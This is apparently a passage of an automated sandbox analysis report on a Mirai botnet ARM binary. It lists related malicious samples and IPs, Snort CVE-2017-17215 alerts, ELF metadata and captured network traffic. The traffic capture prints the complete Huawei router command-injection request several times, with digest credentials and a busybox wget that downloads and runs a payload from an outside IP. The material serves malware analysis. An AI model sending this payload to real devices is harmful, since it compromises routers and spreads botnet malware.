157.223.107.185	E1fBXNeuOQ	Get hash	malicious	Mirai	Browse
157.169.11.98	DZdJX7u9Yh.elf	Get hash	malicious	Mirai, Moobot	Browse
157.169.11.98	nHGDUIBd95	Get hash	malicious	Mirai	Browse
41.179.39.122	XjaYYNxg9D.elf	Get hash	malicious	Mirai, Moobot	Browse
41.179.39.122	9CSfviwl3l	Get hash	malicious	Mirai	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MICROSOFT-CORP-ASUS	TYZYR0059i.elf	Get hash	malicious	Mirai	Browse	157.57.217.89
	mipsel.elf	Get hash	malicious	Mirai	Browse	157.54.14.12
	arm5.elf	Get hash	malicious	Mirai	Browse	157.57.143.108
	arm7.elf	Get hash	malicious	Mirai	Browse	157.60.161.110
	rZDXrc6Qgj.elf	Get hash	malicious	Mirai	Browse	131.107.222.7
	xarm7.elf	Get hash	malicious	Mirai	Browse	157.54.61.158
	SIFex0dc75.elf	Get hash	malicious	Mirai	Browse	157.54.13.218
	prVqJIASVB.elf	Get hash	malicious	Mirai	Browse	167.223.144.218
	4jWjSGM59f.elf	Get hash	malicious	Mirai, Moobot	Browse	157.60.161.111
	0s4xkFvSCW.elf	Get hash	malicious	Mirai, Moobot	Browse	157.57.143.111
	e74Xkt1ot5.elf	Get hash	malicious	Mirai, Moobot	Browse	157.58.60.217
	WfPUqEBiDp.elf	Get hash	malicious	Mirai, Moobot	Browse	157.59.234.215
	arm7-20231108-2235.elf	Get hash	malicious	Mirai, Moobot	Browse	157.57.254.20
	vAZYIEQMP8.elf	Get hash	malicious	Mirai, Moobot	Browse	157.59.7.192
	oKToHgW7tv.elf	Get hash	malicious	Mirai	Browse	157.57.143.104
	BawlgyaYk0.elf	Get hash	malicious	Mirai	Browse	167.223.144.215
	arm.elf	Get hash	malicious	Mirai, Moobot	Browse	157.60.161.128
	Aqua.arm4-20231022-0333.elf	Get hash	malicious	Mirai	Browse	157.54.13.216
	https://mamobiles.pk/n/redirect.html#Ym1GMGFHRnNhV1V1YkdWelkyOXdMV0YxZEdWeVpVQmhablJ5WVd3dVkyOXQ=	Get hash	malicious	HTMLPhisher	Browse	167.220.249.8
	CX0136Nv3V.elf	Get hash	malicious	Mirai	Browse	157.60.161.104
CELL-CZA	x86_64-20231212-1319.elf	Get hash	malicious	Mirai	Browse	41.51.170.42
	x86-20231212-1137.elf	Get hash	malicious	Mirai	Browse	41.157.54.46
	arm7-20231212-1137.elf	Get hash	malicious	Mirai	Browse	197.172.142.253
	AjcelsaqC6.elf	Get hash	malicious	Gafgyt, Mirai	Browse	197.173.180.26
	vXHJy5VjFn.elf	Get hash	malicious	Mirai	Browse	197.173.220.122
	LLpPtU43x8.elf	Get hash	malicious	Mirai	Browse	197.169.124.242
	srqRenncFI.elf	Get hash	malicious	Mirai	Browse	41.52.18.193
	arm.elf	Get hash	malicious	Mirai	Browse	197.173.220.128
	mipsel.elf	Get hash	malicious	Mirai	Browse	197.107.180.5
	mips.elf	Get hash	malicious	Mirai	Browse	41.54.139.137
	x86_64.elf	Get hash	malicious	Mirai	Browse	197.109.134.69
	i586.elf	Get hash	malicious	Mirai	Browse	41.55.38.248
	arm5.elf	Get hash	malicious	Mirai	Browse	197.106.7.124
	i686.elf	Get hash	malicious	Mirai	Browse	197.168.182.255
	arm7.elf	Get hash	malicious	Mirai	Browse	41.51.169.43
	lyLTUlEEaD.elf	Get hash	malicious	Mirai	Browse	197.175.223.205
	oKLlwVyUDR.elf	Get hash	malicious	Mirai	Browse	197.109.171.56
	fQ3EaenTAg.elf	Get hash	malicious	Mirai	Browse	197.169.124.235
	mUZS5TqzCm.elf	Get hash	malicious	Mirai	Browse	41.52.18.190
	7u9c57GShq.elf	Get hash	malicious	Mirai	Browse	197.172.14.103

Process:	/usr/bin/cut
File Type:	ASCII text
Category:	dropped
Size (bytes):	216
Entropy (8bit):	4.493616814343774
Encrypted:	false
SSDEEP:	3:P2xxS8/vSAX9qEWpFuEb3c6uGlHY4/4tA9piBFH3guUFuRz5/D0VTFA9PyLOurAn:OlpqEWpFuEb3BlHLbmHwlFeWvL3rA9x
MD5:	CBDCED8720CAB6EEBEF7861E8ADAE665
SHA1:	6D06B520D347AAD2775CAA9AF7852D26347E33D0
SHA-256:	D90D574CFCD9A7C941F9B1385434460F49ED9A2E8C0069C43DD05BA4453087E0
SHA-512:	4DB4E08D47327057A50C0349774A3F31B94C72438D59FB7E3BA8A4F04C519ECF6943CDF4846AB682C2A03CEB83D2840E7389DD5E175F8B3FF12EC06C198A52D2
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	* Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s. just raised the bar for easy, resilient and secure K8s cluster deployment... https://ubuntu.com/engage/secure-kubernetes-at-the-edge.

Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:34332 -> 41.62.24.118:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:34332 -> 41.62.24.118:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:45168 -> 41.43.4.24:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:45168 -> 41.43.4.24:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:57096 -> 41.36.178.23:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:57096 -> 41.36.178.23:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:35290 -> 34.149.184.84:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:35290 -> 34.149.184.84:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:37278 -> 197.56.104.48:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:37278 -> 197.56.104.48:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:42908 -> 34.43.123.183:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:42908 -> 34.43.123.183:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:39184 -> 191.61.154.63:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:39184 -> 191.61.154.63:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:33650 -> 197.56.70.152:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:33650 -> 197.56.70.152:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:38856 -> 41.233.14.81:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:38856 -> 41.233.14.81:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:41954 -> 94.122.220.142:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:41954 -> 94.122.220.142:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:36580 -> 41.47.110.42:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:36580 -> 41.47.110.42:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:44100 -> 107.178.188.121:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:44100 -> 107.178.188.121:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:52278 -> 41.232.65.59:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:52278 -> 41.232.65.59:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:38782 -> 157.230.248.161:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:38782 -> 157.230.248.161:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:54608 -> 41.34.245.40:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:54608 -> 41.34.245.40:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:36940 -> 212.93.118.42:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:36940 -> 212.93.118.42:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:49094 -> 197.56.26.13:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:49094 -> 197.56.26.13:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:33800 -> 87.98.148.203:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:33800 -> 87.98.148.203:37215

Source: unknown	TCP traffic detected without corresponding DNS query: 54.171.230.55
Source: unknown	TCP traffic detected without corresponding DNS query: 54.171.230.55
Source: unknown	TCP traffic detected without corresponding DNS query: 54.171.230.55
Source: unknown	TCP traffic detected without corresponding DNS query: 54.171.230.55
Source: unknown	TCP traffic detected without corresponding DNS query: 54.171.230.55
Source: unknown	TCP traffic detected without corresponding DNS query: 54.171.230.55
Source: unknown	TCP traffic detected without corresponding DNS query: 54.171.230.55
Source: unknown	TCP traffic detected without corresponding DNS query: 54.171.230.55
Source: unknown	TCP traffic detected without corresponding DNS query: 54.171.230.55
Source: unknown	TCP traffic detected without corresponding DNS query: 54.171.230.55
Source: unknown	TCP traffic detected without corresponding DNS query: 54.171.230.55
Source: unknown	TCP traffic detected without corresponding DNS query: 54.171.230.55
Source: unknown	TCP traffic detected without corresponding DNS query: 54.171.230.55
Source: unknown	TCP traffic detected without corresponding DNS query: 54.171.230.55
Source: unknown	TCP traffic detected without corresponding DNS query: 54.171.230.55
Source: unknown	TCP traffic detected without corresponding DNS query: 54.171.230.55
Source: unknown	TCP traffic detected without corresponding DNS query: 54.171.230.55
Source: unknown	TCP traffic detected without corresponding DNS query: 45.95.147.171
Source: unknown	TCP traffic detected without corresponding DNS query: 37.88.2.156
Source: unknown	TCP traffic detected without corresponding DNS query: 197.147.211.181
Source: unknown	TCP traffic detected without corresponding DNS query: 157.7.99.158
Source: unknown	TCP traffic detected without corresponding DNS query: 157.83.92.194
Source: unknown	TCP traffic detected without corresponding DNS query: 89.205.249.210
Source: unknown	TCP traffic detected without corresponding DNS query: 157.156.184.176
Source: unknown	TCP traffic detected without corresponding DNS query: 51.202.69.87
Source: unknown	TCP traffic detected without corresponding DNS query: 157.184.241.58
Source: unknown	TCP traffic detected without corresponding DNS query: 197.161.212.93
Source: unknown	TCP traffic detected without corresponding DNS query: 41.44.245.208
Source: unknown	TCP traffic detected without corresponding DNS query: 197.5.128.49
Source: unknown	TCP traffic detected without corresponding DNS query: 197.175.55.167
Source: unknown	TCP traffic detected without corresponding DNS query: 41.130.235.120
Source: unknown	TCP traffic detected without corresponding DNS query: 41.235.195.246
Source: unknown	TCP traffic detected without corresponding DNS query: 41.75.190.249
Source: unknown	TCP traffic detected without corresponding DNS query: 202.31.255.151
Source: unknown	TCP traffic detected without corresponding DNS query: 41.152.12.225
Source: unknown	TCP traffic detected without corresponding DNS query: 41.239.205.122
Source: unknown	TCP traffic detected without corresponding DNS query: 197.161.94.183
Source: unknown	TCP traffic detected without corresponding DNS query: 41.112.99.101
Source: unknown	TCP traffic detected without corresponding DNS query: 41.105.175.190
Source: unknown	TCP traffic detected without corresponding DNS query: 157.9.230.170
Source: unknown	TCP traffic detected without corresponding DNS query: 41.45.120.108
Source: unknown	TCP traffic detected without corresponding DNS query: 157.228.75.152
Source: unknown	TCP traffic detected without corresponding DNS query: 157.204.88.73
Source: unknown	TCP traffic detected without corresponding DNS query: 197.88.224.3
Source: unknown	TCP traffic detected without corresponding DNS query: 71.25.146.19
Source: unknown	TCP traffic detected without corresponding DNS query: 116.200.104.6
Source: unknown	TCP traffic detected without corresponding DNS query: 41.137.7.75
Source: unknown	TCP traffic detected without corresponding DNS query: 94.138.239.246
Source: unknown	TCP traffic detected without corresponding DNS query: 41.220.104.28
Source: unknown	TCP traffic detected without corresponding DNS query: 31.111.91.165

File type:	ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped
Entropy (8bit):	5.840648674468476
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	arm5-20231213-1917.elf
File size:	66'896 bytes
MD5:	6953d9e7ec31c6cbaaa311c05b46baa4
SHA1:	1e7bb3d792214a1eea5fb3e648e67f1da1961212
SHA256:	b48e9c74b3d1ee869829981932f168c2e8af837af0006a37615b8a81196a7efd
SHA512:	14a5f6a743c4d0d82b0505728db4e372d061997039215cd9f4ff0e646f768f415b3e73344f05e956ea0d7a96aa8486d600f03f56606c9884abc015e2c19f1492
SSDEEP:	1536:xKjoQuQhjegIeLXcVkcWk/XyFAUFn53eal:EjoUvLakcWk/XyFnd
TLSH:	3E632981BC819613C6D452BBFB6E028E372653A8E2DE32039D266F1177CAC5F0E77641
File Content Preview:	.ELF...a..........(.........4...........4. ...(.....................................................................Q.td..................................-...L."...I6..........0@-.\P...0....S.0...P@...0... ....R......0...0...........0... ....R..... 0....S

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	ARM
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	ARM - ABI
ABI Version:	0
Entry Point Address:	0x8190
Flags:	0x2
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	66496
Section Header Size:	40
Number of Section Headers:	10
Header String Table Index:	9

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x8094	0x94	0x18	0x0	0x6	AX	4
.text	PROGBITS	0x80b0	0xb0	0xd95c	0x0	0x6	AX	16
.fini	PROGBITS	0x15a0c	0xda0c	0x14	0x0	0x6	AX	4
.rodata	PROGBITS	0x15a20	0xda20	0x2488	0x0	0x2	A	4
.ctors	PROGBITS	0x18000	0x10000	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x18008	0x10008	0x8	0x0	0x3	WA	4
.data	PROGBITS	0x18014	0x10014	0x36c	0x0	0x3	WA	4
.bss	NOBITS	0x18380	0x10380	0xa740	0x0	0x3	WA	4
.shstrtab	STRTAB	0x0	0x10380	0x3e	0x0	0x0		1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x8000	0x8000	0xfea8	0xfea8	5.8960	0x5	R E	0x8000	.init .text .fini .rodata
LOAD	0x10000	0x18000	0x18000	0x380	0xaac0	2.7043	0x6	RW	0x8000	.ctors .dtors .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2023 20:19:17.763585091 CET	825	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 456 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 31 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.171 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 13, 2023 20:19:18.287612915 CET	182	IN	HTTP/1.1 500 Internal Server Error Content-Type: text/xml; charset="utf-8" Server: Linux UPnP/1.0 Huawei-ATP-IGD EXT: Connection: Keep-Alive Content-Length: 398

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2023 20:19:28.237760067 CET	825	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 456 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 31 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.171 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 13, 2023 20:19:28.559393883 CET	182	IN	HTTP/1.1 500 Internal Server Error Content-Type: text/xml; charset="utf-8" Server: Linux UPnP/1.0 Huawei-ATP-IGD EXT: Connection: Keep-Alive Content-Length: 398

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2023 20:19:33.620863914 CET	825	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 456 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 31 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.171 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 13, 2023 20:19:33.919730902 CET	182	IN	HTTP/1.1 500 Internal Server Error Content-Type: text/xml; charset="utf-8" Server: Linux UPnP/1.0 Huawei-ATP-IGD EXT: Connection: Keep-Alive Content-Length: 398

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2023 20:19:38.126296997 CET	825	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 456 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 31 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 